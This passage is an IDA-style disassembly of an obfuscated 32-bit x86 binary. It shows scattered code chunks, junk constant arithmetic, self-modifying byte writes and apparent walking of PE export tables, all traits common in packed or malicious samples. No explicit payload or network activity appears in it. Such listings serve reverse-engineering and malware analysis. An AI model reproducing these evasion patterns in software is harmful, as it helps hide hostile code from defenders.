FOR sub_424819 loc_423C02: ; CODE XREF: sub_424819-7F2j test ebx, 2000h jmp loc_426B97 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_423C0D: ; CODE XREF: sub_4262C5+1D80j jz loc_423551 sbb ecx, edx jmp loc_4264E3 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D99 loc_423C1A: ; CODE XREF: sub_424D99:loc_424003j jl loc_423EFA sub ecx, edx push 0AEFB675Bh xchg ecx, [esi] jmp loc_423EF4 ; END OF FUNCTION CHUNK FOR sub_424D99 ; --------------------------------------------------------------------------- test edx, 0DE971895h jmp loc_428351 ; --------------------------------------------------------------------------- loc_423C39: ; CODE XREF: hjohnhn9:00424467j test ebp, 3E5EE592h jmp loc_427480 ; --------------------------------------------------------------------------- loc_423C44: ; DATA XREF: sub_428E65+7o jz loc_427EAB mov eax, ds:dword_423940 mov eax, [eax] call sub_4235D8 ; START OF FUNCTION CHUNK FOR sub_42677F loc_423C56: ; CODE XREF: sub_42677F+Aj jmp loc_427F33 ; END OF FUNCTION CHUNK FOR sub_42677F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_423C5B: ; CODE XREF: sub_423B05-4B5j jo loc_423659 jnb loc_4267FC loc_423C67: ; CODE XREF: sub_423B05:loc_42862Bj push 7A23220Ah pop eax jmp loc_4275E9 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- loc_423C72: ; CODE XREF: hjohnhn9:loc_428621j mov eax, [ebp-20h] mov byte ptr [eax], 6Ch inc dword ptr [ebp-20h] push offset sub_426F5A jmp loc_428ECB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284CB loc_423C85: ; CODE XREF: sub_4284CB:loc_42655Cj cmp byte ptr [eax], 0EBh call sub_4231AD loc_423C8D: ; DATA XREF: sub_424161-294o mov [ebp-20h], eax ; END OF FUNCTION CHUNK FOR sub_4284CB ; START OF FUNCTION CHUNK FOR sub_424161 loc_423C90: ; CODE XREF: sub_424161+Ej ; sub_426C1C+Dj ... mov eax, [ebp-20h] sub eax, [ebp-28h] mov [ebp-24h], eax mov eax, [ebp-24h] jmp loc_426E7A ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_423CA1: ; CODE XREF: sub_4260BD-172Cj push 78C9D3B0h pop ebx or ebx, 49478D09h xor ebx, 2FC1EEDBh sub ebx, 898416F6h cmp ebx, 0DEADBCE0h jmp loc_42409B ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_423CC4: ; CODE XREF: sub_424161:loc_426E7Aj mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423D67 loc_423CC8: ; CODE XREF: sub_423D67+1Bj jmp loc_4236E4 ; END OF FUNCTION CHUNK FOR sub_423D67 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CCD proc near ; CODE XREF: sub_426C1C+4p ; sub_424161+446Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004271DA SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00427272 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00427B92 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax jmp loc_427B92 sub_423CCD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_423CDB proc near ; CODE XREF: hjohnhn9:00426B74j ; sub_4289B2:loc_4289BBp ; FUNCTION CHUNK AT 0042407B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00424BB4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424CA5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425076 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425EFB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426268 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00426762 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004267F1 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00426B13 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426B1F SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00426D2F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00427449 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427B9C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004283F7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042869B SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00428851 SIZE 00000020 BYTES xchg eax, [esp+0] pop eax mov [ebp-4], eax xor eax, eax mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jmp loc_4267F1 sub_423CDB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423E64 loc_423CF0: ; CODE XREF: sub_423E64+12j jnz loc_4239A6 jmp loc_4272D3 ; END OF FUNCTION CHUNK FOR sub_423E64 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_423CFC: ; CODE XREF: hjohnhn9:0042307Cj ; hjohnhn9:00424277j xor ebx, ecx and ebx, 0B4897EE5h xchg edx, [ecx] ; START OF FUNCTION CHUNK FOR sub_427564 loc_423D06: ; CODE XREF: sub_427564-3AC0j ; hjohnhn9:loc_42426Bj xor ecx, 36F2DCB7h jmp loc_42901D ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42841F loc_423D11: ; CODE XREF: sub_42841F+12j jz loc_42658E jmp loc_423810 ; END OF FUNCTION CHUNK FOR sub_42841F ; =============== S U B R O U T I N E ======================================= sub_423D1C proc near ; DATA XREF: hjohnhn9:0042427Co ; FUNCTION CHUNK AT 0042415E SIZE 00000003 BYTES push eax ror eax, 1Ah push edi call sub_426211 and edi, 9193273h jmp loc_42415E sub_423D1C endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_423D33: ; CODE XREF: hjohnhn9:00426263j jmp loc_426D32 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD "+" TO EXPAND] db 31h, 1, 0 dd 264E800h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_423D42: ; CODE XREF: sub_4279C0+3j jmp loc_4249CC ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_423D47: ; CODE XREF: sub_426A78+10B8j jz loc_425F1B adc eax, ebp jmp loc_425F15 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_423D54: ; CODE XREF: sub_4278DC:loc_424C01j adc ebx, 6A4E96E7h js loc_427A24 xor esi, edi jmp loc_427B35 ; END OF FUNCTION CHUNK FOR sub_4278DC ; =============== S U B R O U T I N E ======================================= sub_423D67 proc near ; DATA XREF: hjohnhn9:00429046o var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423201 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004236E4 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00423CC8 SIZE 00000005 BYTES push edi push 1FC6F0D5h xchg ebp, [esp+0] mov edi, ebp pop ebp xor edi, 0C19381B4h loc_423D79: ; CODE XREF: hjohnhn9:loc_426CF5j rol edi, 1Eh loc_423D7C: ; CODE XREF: hjohnhn9:loc_424EC3j and edi, 12212D66h jmp loc_423CC8 sub_423D67 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_423D87: ; DATA XREF: sub_423B05+3F49o mov [ebp-4], eax push 5076CEAEh pop eax add eax, 982C40ADh sub eax, 33BDC7FFh jmp loc_4274A4 ; --------------------------------------------------------------------------- test edx, ecx jmp loc_428A5B ; --------------------------------------------------------------------------- loc_423DA8: ; DATA XREF: sub_4237F4+1461o mov [ebp-0Ch], eax cmp dword ptr [ebp-10h], 0 loc_423DAF: ; CODE XREF: hjohnhn9:00423A45j jnz loc_424F28 cmp dword ptr [ebp-0Ch], 5 jnz loc_424F28 mov eax, [ebp+8] call sub_424F20 shr ecx, 9 jmp loc_425C93 ; --------------------------------------------------------------------------- loc_423DCF: ; CODE XREF: hjohnhn9:0042508Cj lea eax, nullsub_1 mov byte ptr [eax], 0C3h push ecx push 0D50AC7F6h pop ecx xor ecx, 0E03A3CE0h add ecx, 0BA522053h cmp ecx, 75766663h jmp loc_42426B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_423DF6: ; CODE XREF: sub_42325E+8EDj xchg edi, [esp+0] ror eax, 11h call sub_42636C loc_423E01: ; CODE XREF: hjohnhn9:00428059j jmp loc_428372 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- word_423E06 dw 0E0C1h ; DATA XREF: sub_42304F+1D40o dd 0EC558B02h, 31C528Bh, 0A5E9FC55h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428E98 loc_423E17: ; CODE XREF: sub_428E98+Dj jbe loc_426E02 ja loc_42707F xor esi, edi ; END OF FUNCTION CHUNK FOR sub_428E98 ; START OF FUNCTION CHUNK FOR sub_428CC9 loc_423E25: ; CODE XREF: sub_428CC9:loc_4288C9j push 3C38EEE8h pop eax jmp loc_425B86 ; END OF FUNCTION CHUNK FOR sub_428CC9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E54 loc_423E31: ; CODE XREF: sub_427E54-3D20j jmp loc_428EE5 ; END OF FUNCTION CHUNK FOR sub_427E54 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_423E36: ; CODE XREF: sub_42325E+511Dj add eax, 5343FABBh sub eax, 544AEFF2h xor eax, 0B530F9FEh add eax, 3B007B8Dh mov eax, [eax] or eax, eax jnz loc_423283 jmp loc_4276F7 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- cmp esi, ebx jmp loc_4266BE ; =============== S U B R O U T I N E ======================================= sub_423E64 proc near ; CODE XREF: sub_4251EB-1F0Bp ; hjohnhn9:00425FF9j ; FUNCTION CHUNK AT 004239A2 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00423CF0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004272D3 SIZE 00000007 BYTES xchg ebx, [esp+0] pop ebx add eax, 0FF7FCF00h or eax, eax jz loc_4239D3 jmp loc_423CF0 sub_423E64 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425EEA loc_423E7B: ; CODE XREF: sub_425EEA+Bj call sub_425E49 loc_423E80: ; CODE XREF: sub_424631:loc_428567j mov eax, [ebp+8] push offset loc_424996 jmp nullsub_15 ; END OF FUNCTION CHUNK FOR sub_425EEA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_423E8D: ; CODE XREF: sub_426F5A+3E6j or esi, edx loc_423E8F: ; CODE XREF: hjohnhn9:loc_427160j add edx, 0A2D9B284h xor ebx, 802191BEh loc_423E9B: ; CODE XREF: sub_426F5A:loc_42513Cj call sub_424877 mov edx, 0F2B89A19h call sub_4279ED jmp loc_42365D ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- ror edx, 14h jmp sub_427B51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4249E1 loc_423EB7: ; CODE XREF: sub_4249E1+Cj mov eax, [ebp-14h] push eax push esi call sub_427345 ; END OF FUNCTION CHUNK FOR sub_4249E1 ; START OF FUNCTION CHUNK FOR sub_426CE6 loc_423EC1: ; CODE XREF: sub_426CE6+Aj jmp loc_4283E0 ; END OF FUNCTION CHUNK FOR sub_426CE6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_423EC7: ; CODE XREF: sub_424819+46C0j jmp loc_42488B ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_423ECC: ; CODE XREF: sub_424161:loc_424F86j pop ecx push offset loc_423C8D jmp loc_4288F8 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_423ED7: ; CODE XREF: sub_424631:loc_426E35j shl eax, 3 mov edx, [ebp+8] jmp loc_425164 ; --------------------------------------------------------------------------- loc_423EE2: ; CODE XREF: sub_424631:loc_426619j cmp dword ptr [ebp-10h], 0 jnz loc_42516C mov eax, [ebp+8] jmp loc_42729D ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D99 loc_423EF4: ; CODE XREF: sub_424D99-1170j jno loc_424EEC loc_423EFA: ; CODE XREF: sub_424D99:loc_423C1Aj xor ebx, 7AD55981h add ebx, 0DC898EAh call sub_428945 ; END OF FUNCTION CHUNK FOR sub_424D99 ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_423F0B: ; CODE XREF: sub_4262C5-2A16j jmp loc_423B1F ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A58 loc_423F10: ; CODE XREF: sub_427A58+Cj call sub_42774F loc_423F15: ; CODE XREF: sub_427E85:loc_426E75j push eax call sub_427A36 call sub_4278B9 locret_423F20: ; CODE XREF: hjohnhn9:loc_425D6Aj retn ; END OF FUNCTION CHUNK FOR sub_427A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_423F21: ; CODE XREF: sub_425BD2:loc_424517j not esi jnb loc_426EFE js loc_425E20 ror ebp, 17h jge loc_4263A0 jmp loc_427951 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_423F3D: ; CODE XREF: hjohnhn9:0042499Dj ; sub_427D9D-18D3j ... mov eax, [ebp-4] call sub_424B30 loc_423F45: ; CODE XREF: sub_4238CC+2748j push 517EEA18h pop eax add eax, 86BC7F46h rol eax, 1Fh add eax, 0B296A58h xor eax, 770F05C3h jmp loc_427970 ; END OF FUNCTION CHUNK FOR sub_424631 ; =============== S U B R O U T I N E ======================================= sub_423F65 proc near ; DATA XREF: sub_42304F:loc_428AA2o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424A92 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424F8B SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00425220 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004252A4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426C64 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427550 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004275EE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428287 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00428BF7 SIZE 00000010 BYTES call sub_424A28 test al, al jz loc_425220 jmp loc_4275EE sub_423F65 endp ; =============== S U B R O U T I N E ======================================= sub_423F77 proc near ; CODE XREF: sub_424698+1p ; hjohnhn9:00426A6Bj ; FUNCTION CHUNK AT 00423F91 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426B0E SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov ebp, esp add esp, 0FFFFFFECh jmp loc_426B0E sub_423F77 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_423F86: ; CODE XREF: sub_424161+2B2Fj adc edx, 0AEB1EF27h jmp sub_423B84 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F77 loc_423F91: ; CODE XREF: sub_423F77:loc_426B0Ej push offset loc_425257 jmp nullsub_22 ; END OF FUNCTION CHUNK FOR sub_423F77 ; --------------------------------------------------------------------------- db 0Fh ; --------------------------------------------------------------------------- mov ch, [edi] add es:[eax], al jmp sub_425D27 ; --------------------------------------------------------------------------- loc_423FA6: ; CODE XREF: hjohnhn9:00428FC7j xchg esi, [esp] pop esi call sub_424AE3 jmp loc_4231DA ; --------------------------------------------------------------------------- jmp locret_424ADD ; =============== S U B R O U T I N E ======================================= sub_423FB9 proc near ; CODE XREF: hjohnhn9:00425C78j ; sub_423444:loc_4270EEj ... ; FUNCTION CHUNK AT 004234D3 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx add eax, 4622B2B0h push offset loc_428B71 jmp loc_4234D3 sub_423FB9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_423FCD: ; CODE XREF: sub_426671-351j and ebp, 0D2F88BF4h loc_423FD3: ; CODE XREF: sub_426671:loc_427895j call sub_424877 push 2F846F14h pop edx add edx, 0ADE8F686h jmp loc_42316A ; END OF FUNCTION CHUNK FOR sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_423FE9: ; CODE XREF: sub_424A78:loc_4242DEj push 74F9BCB9h pop esi sub esi, 0A4C08EC8h xor esi, 7E616109h add eax, esi jmp loc_427984 ; END OF FUNCTION CHUNK FOR sub_424A78 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D99 loc_424003: ; CODE XREF: sub_424D99+12j jmp loc_423C1A ; END OF FUNCTION CHUNK FOR sub_424D99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_424008: ; CODE XREF: sub_42466E-AB0j jz loc_427947 jmp loc_424542 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_424013: ; CODE XREF: sub_424819:loc_4282C4j xchg esi, [esp+0] push 8B98A8E8h xchg esi, [esp+4+var_4] mov ebx, esi pop esi and ebx, 0F5022639h jmp loc_423C02 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_42402C: ; CODE XREF: sub_42466E-121j jnz loc_42857C cdq loc_424033: ; CODE XREF: sub_42466E:loc_423BB8j push edx push 0E7131BE6h jmp loc_427BEE ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_42403E: ; CODE XREF: sub_4265CD-1E7Bj ; hjohnhn9:004261FBj popf jno loc_42888D loc_424045: ; CODE XREF: sub_4265CD-1E89j sub eax, 74CBAB60h or eax, 724E4ED9h jmp loc_427A9C ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- loc_424056: ; DATA XREF: sub_423F65+4C98o add eax, 0D7B18CA1h ; START OF FUNCTION CHUNK FOR sub_424161 loc_42405C: ; CODE XREF: sub_424161:loc_4271FDj xchg eax, [esp+0] jmp loc_424521 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_424064: ; CODE XREF: sub_427852:loc_42823Fj mov eax, [eax+24h] loc_424067: ; CODE XREF: sub_42363F+3E5Aj add eax, [ebp-4] xor edx, edx push edx push eax jmp loc_4242E8 ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_424073: ; CODE XREF: sub_428271-16EDj add eax, [esp+0] jmp loc_42350B ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_42407B: ; CODE XREF: sub_423CDB:loc_427449j shr edx, 5 sbb ecx, 0CB4525A9h jmp loc_427B9C ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- loc_424089: ; CODE XREF: hjohnhn9:00423490j push offset loc_423302 jmp locret_428297 ; --------------------------------------------------------------------------- shl edx, 4 jmp sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42409B: ; CODE XREF: sub_4260BD-23FEj jl loc_42833C mov esi, eax jns loc_4234D3 jmp loc_428337 ; END OF FUNCTION CHUNK FOR sub_4260BD ; =============== S U B R O U T I N E ======================================= sub_4240AE proc near ; DATA XREF: sub_427345-3DBEo var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00426DBA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042769B SIZE 0000001A BYTES mov eax, [ebp-4] push edx mov edx, eax xchg edx, [esp+4+var_4] jmp loc_426DBA sub_4240AE endp ; =============== S U B R O U T I N E ======================================= sub_4240BC proc near ; CODE XREF: sub_428357-508Cp ; hjohnhn9:00428E34j ; FUNCTION CHUNK AT 004234AC SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov eax, [ebp-8] loc_4240C3: ; CODE XREF: hjohnhn9:00426ACCj shl eax, 0Fh add [ebp-8], eax mov eax, [ebp-8] mov esp, ebp pop ebp jmp loc_4234AC sub_4240BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_4240D4: ; CODE XREF: sub_425CB3:loc_4232E6j xchg ecx, [esp+0] push 0 call sub_4270CF push eax mov eax, esp jmp loc_4244B2 ; END OF FUNCTION CHUNK FOR sub_425CB3 ; =============== S U B R O U T I N E ======================================= sub_4240E6 proc near ; CODE XREF: hjohnhn9:0042430Ap ; hjohnhn9:00426CFDj ; FUNCTION CHUNK AT 0042744E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428AFF SIZE 00000005 BYTES xchg edx, [esp+0] pop edx cmp ds:dword_426E3C, 0 jnz loc_427FBF lea edx, [ebp-14h] jmp loc_428AFF sub_4240E6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4240FF: ; CODE XREF: hjohnhn9:00428ADEj jo loc_428F8E add edi, eax jmp loc_42476D ; --------------------------------------------------------------------------- loc_42410C: ; CODE XREF: hjohnhn9:00423478j add eax, 28h mov [ebp-4], eax jmp loc_4266B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269BD loc_424117: ; CODE XREF: sub_4269BD+17j mov eax, [ebp-20h] movzx eax, byte ptr [eax] push offset loc_427C74 jmp loc_4266AB ; END OF FUNCTION CHUNK FOR sub_4269BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E54 loc_424127: ; CODE XREF: sub_427E54+11j mov edx, [ebp-14h] mov edx, [edx+1Ch] add edx, [ebp-4] add eax, edx mov eax, [eax] jmp loc_423E31 ; END OF FUNCTION CHUNK FOR sub_427E54 ; --------------------------------------------------------------------------- js loc_427FB5 push ecx jmp sub_427345 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_424145: ; CODE XREF: sub_42345B+544Dj add ecx, 0E02DF608h xchg ecx, [esp+4+var_4] jmp loc_426B55 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_424153: ; CODE XREF: sub_424698-D92j jz loc_4261D5 jmp loc_4241A5 ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423D1C loc_42415E: ; CODE XREF: sub_423D1C+10j ror edi, 1Ch ; END OF FUNCTION CHUNK FOR sub_423D1C ; =============== S U B R O U T I N E ======================================= sub_424161 proc near ; CODE XREF: sub_424A78:loc_4242D9p var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042312B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004231F0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004234B1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00423B50 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00423C90 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00423CC4 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00423ECC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00423F86 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042405C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00424521 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042457E SIZE 0000002E BYTES ; FUNCTION CHUNK AT 00424D68 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424F86 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004251B2 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00425BB8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00426054 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00426655 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00426C7F SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00426E7A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004271FD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004279DE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427BE6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004284ED SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004285C1 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004288F8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429022 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax jno loc_4285C1 test byte ptr [ebp-8], 40h jz loc_423C90 push ebp jmp loc_427BE6 sub_424161 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42417B: ; CODE XREF: hjohnhn9:00426736j jns loc_426C3C ; =============== S U B R O U T I N E ======================================= sub_424181 proc near ; CODE XREF: sub_426098+Cp ; FUNCTION CHUNK AT 004283C4 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov [ebp-4], eax jmp loc_4283C4 sub_424181 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E85 loc_42418D: ; CODE XREF: sub_427E85+10j push eax call sub_427A36 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz loc_423415 call sub_4242A0 ; END OF FUNCTION CHUNK FOR sub_427E85 ; START OF FUNCTION CHUNK FOR sub_424698 loc_4241A5: ; CODE XREF: sub_424698-53Fj jmp loc_428BE8 ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- loc_4241AA: ; CODE XREF: hjohnhn9:00426E2Fj push 87A17FD1h pop esi xor esi, 8FC8532Bh rol esi, 13h jmp loc_428B6C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_4241BE: ; CODE XREF: sub_423BC3:loc_425F6Ej mov eax, edi pop edi and eax, 986F907Ch test eax, 10h jmp loc_427A7E ; END OF FUNCTION CHUNK FOR sub_423BC3 ; =============== S U B R O U T I N E ======================================= sub_4241D2 proc near ; CODE XREF: sub_427B51+17j ; FUNCTION CHUNK AT 004242D6 SIZE 00000003 BYTES push ebp mov eax, [ebp-20h] call sub_428162 loc_4241DB: ; CODE XREF: sub_427FCE+Aj jmp loc_4242D6 sub_4241D2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4241E0: ; CODE XREF: hjohnhn9:004242FBj push ebp ; =============== S U B R O U T I N E ======================================= sub_4241E1 proc near ; CODE XREF: sub_425D47+9p ; FUNCTION CHUNK AT 0042310F SIZE 00000005 BYTES xchg edi, [esp+0] pop edi add [ebp-8], eax push offset sub_423921 jmp loc_42310F sub_4241E1 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4241F3 proc near ; CODE XREF: sub_4244F5+18p ; hjohnhn9:00428299j xchg esi, [esp+0] pop esi add eax, [ebp-4] call sub_427F90 cmp eax, [ebp-8] call sub_4290CF locret_424207: ; CODE XREF: sub_42859A-D0Aj retn sub_4241F3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_424208: ; CODE XREF: sub_427C9B+79j jmp loc_428E0C ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= sub_42420D proc near ; DATA XREF: sub_42325E+5CC4o pop esi mov word ptr [eax], 205Dh call sub_424335 sub_42420D endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR 